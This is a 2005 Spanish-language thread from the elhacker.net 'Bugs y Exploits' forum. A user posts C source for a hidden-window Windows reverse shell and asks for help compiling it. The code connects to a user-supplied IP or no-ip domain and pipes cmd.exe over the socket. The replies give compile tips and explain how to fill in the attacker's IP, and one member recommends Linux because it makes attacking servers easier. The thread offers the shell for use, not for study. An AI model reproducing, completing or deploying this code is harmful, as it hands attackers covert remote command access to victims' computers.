elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 17:32  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Sobre el exploit de shell inversa y netcat
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Sobre el exploit de shell inversa y netcat  (Leído 1,594 veces)
Dinio_Albino

Desconectado Desconectado

Mensajes: 25


Ver Perfil
Sobre el exploit de shell inversa y netcat
« en: 3 Noviembre 2005, 12:34 »

Hola, acabo de leer el manual de netcat de kasswed y en principio dice que: "Una shell directa es bastante fácil de lograr, pero no es la más
recomendada, conforme vayáis leyendo os daréis cuenta de sus desventajas."
Y yo quería saber cuales era las desventajas en ese caso, por que no soy ningún experto.:P

He intentado compilar este exploit con el dev c++:

Código:
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char *argv[])
{
        ShowWindow(GetForegroundWindow(),SW_HIDE);
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in addr;
        memset(&addr,0,sizeof(addr));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        addr.sin_family = AF_INET;
        addr.sin_port = htons(PUERTO); //Atencion a esta linea, aki va el
puerto de conexion NetCat
        addr.sin_addr.s_addr = inet_addr("AKI TU IP O DOMINIO
NO-IP");//Atencion a esta linea, aki va tu IP
        connect(hSocket,(struct sockaddr*)&addr,sizeof(addr));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);
}

Pero me da los siguientes errores:

http://usuarios.lycos.es/ivaneilu/shell.JPG


Y por último quería saber si era mejor compilar los exploits e linux o en windows.

Gracias por adelantado.

Saludos.
En línea



whaky

Desconectado Desconectado

Mensajes: 151


Angel del Infierno


Ver Perfil
Re: Sobre el exploit de shell inversa y netcat
« Respuesta #1 en: 3 Noviembre 2005, 15:29 »

donde han puesto comentarios en el exploit debes kompletarlo //

para compilar... pues puedes compilarlo en los dos sistemas. el que mejor sepas usar, la ventaja de linux es q tiene compilador ya instalado y en win2 q tenes q ponerlo.
En línea

Los muertos hablan y las paredes oyen
por si acaso nunca reveles tu identidad.
SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Re: Sobre el exploit de shell inversa y netcat
« Respuesta #2 en: 3 Noviembre 2005, 18:12 »

Linux Claramente porque se pueden atacar servidores y maquinas con microsoft y Unix.
Con Windows te verás limitado muchas veces ya que la mayoria de los exploits no funcionan en Windows.
En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
Dinio_Albino

Desconectado Desconectado

Mensajes: 25


Ver Perfil
Re: Sobre el exploit de shell inversa y netcat
« Respuesta #3 en: 3 Noviembre 2005, 18:46 »

Ya, vale, gracias, pero es que no compila, y el error no es de las líneas comentadas, mirad el link de la imagen a ver si me podeis ayudar.

Saludos.
En línea



SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Re: Sobre el exploit de shell inversa y netcat
« Respuesta #4 en: 3 Noviembre 2005, 19:47 »

2 cosas men, postea las imagenes como el resto de los mortales, usando la funcion que te regala el foro, creo que debes saber como se usa. Con respecto al exploit muchas veces vienen con fallos a propósito, fallos simples para evitar scripts kiddies http://es.wikipedia.org/wiki/Script_kiddie usandolos, la verdad es que le di un simple vistaso al exploit y no a los errores pero men hasta te estan indicando donde poner y que poner:
Citar
Atencion a esta linea, aki va el
puerto de conexion NetCat
por ej... y creo, solo creo que ese comentario esta mal puesto, lo que deberías hacer si no logras tu arreglar el exploit es buscarlo en otra parte y rezar.... rezar mucho para que funcione perfectamente.
« Última modificación: 3 Noviembre 2005, 20:21 por SeniorX » En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
Dinio_Albino

Desconectado Desconectado

Mensajes: 25


Ver Perfil
Re: Sobre el exploit de shell inversa y netcat
« Respuesta #5 en: 3 Noviembre 2005, 21:26 »

A ver, el que no me entiendes eres tu, primero, ¿tanto cuesta darle al link de la imagen?, lo puse asi porque es muy grande, segundo, no soy tan tonto, y si pongo que me da error al compilar es que me da aunque ponga lo que falta o no lo ponga, se ve claramente en la imagen.


Saludos.
En línea



SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Re: Sobre el exploit de shell inversa y netcat
« Respuesta #6 en: 3 Noviembre 2005, 21:39 »

ok aclaremos algo, ahora que vi la imagen:

Veo que no rellenaste los campos, el exploit no puede adivinar a quien quieres atacar si es un exploit remoto


Como ya te dije seguramente el exploit viene con fallos a proposito asique mejor buscalo por su nombre en google y pruebas hasta q alguno te funcione.
Lo de el comentario mal puesto es porque para insertar un comentario multilineal debes usar /* comentario */ pero en tu exploit esta escrito como //, este sirve solo para comentarios de linea, por ej:
Código:
joder() //llama a la funcion joder
si la quieres hacer multilineal debes hacer lo siguiente:
Código:
joder() /*Llama a
la funcion joder, para que joda*/
Suerte
PD: Nunca dije que fueras tan tonto men q onda.... paz ;)
« Última modificación: 3 Noviembre 2005, 21:43 por SeniorX » En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
Dinio_Albino

Desconectado Desconectado

Mensajes: 25


Ver Perfil
Re: Sobre el exploit de shell inversa y netcat
« Respuesta #7 en: 3 Noviembre 2005, 21:46 »

Vale, pero eso ya lo había hecho, lo que pas es que en la imagen era una captura anterior, mira, lo dejo de tal forma que queda así...



pero sigue dando fallos, así que tendré que buscarlo por otro lado.
gracias de todas formas.
En línea



SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Re: Sobre el exploit de shell inversa y netcat
« Respuesta #8 en: 3 Noviembre 2005, 21:53 »

en lo ultimo que te puedo ayudar men es diciendo que tu ip no es 127.0.0.1 esa es tu ip local al igual que 192.168.1.1 o 192.168.1.100, te recomiendo pasar por www.cualesmiip.net
En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
consulta sobre shell y netcat
Nivel Web
pedrosh20 4 1,520 Último mensaje 24 Noviembre 2011, 04:45
por ipwn
Netcat: ayuda .bat que funciona como Shell inversa...
Hacking Avanzado
n0names 6 921 Último mensaje 8 Marzo 2012, 21:53
por kub0x
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines